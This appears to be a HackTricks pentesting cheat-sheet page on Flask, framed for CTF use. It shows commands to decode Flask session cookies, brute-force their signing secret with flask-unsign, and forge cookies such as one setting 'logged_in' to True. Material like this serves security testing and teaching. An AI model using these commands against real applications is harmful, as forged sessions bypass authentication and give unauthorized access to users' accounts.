HackTricks
Search…
Pentesting
Powered By GitBook
Flask
Probably if you are playing a CTF a Flask application will be related to SSTI.

Cookies

Default cookie session name is session.

Decoder

Online Flask coockies decoder: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Get the first part of the cookie until the first point and Base64 decode it>
1
echo "ImhlbGxvIg" | base64 -d
Copied!
The cookie is also signed using a password

Flask-Unsign

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
flask-unsign
PyPI
1
pip3 install flask-unsign
Copied!
1
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Copied!

Brute Force

1
flask-unsign --unsign --cookie < cookie.txt
Copied!

Signing

1
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Copied!

Signing using legacy (old versions)

1
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
Copied!
This example uses sqlmap eval option to automatically sign sqlmap payloads for flask using a known secret.
Last modified 3mo ago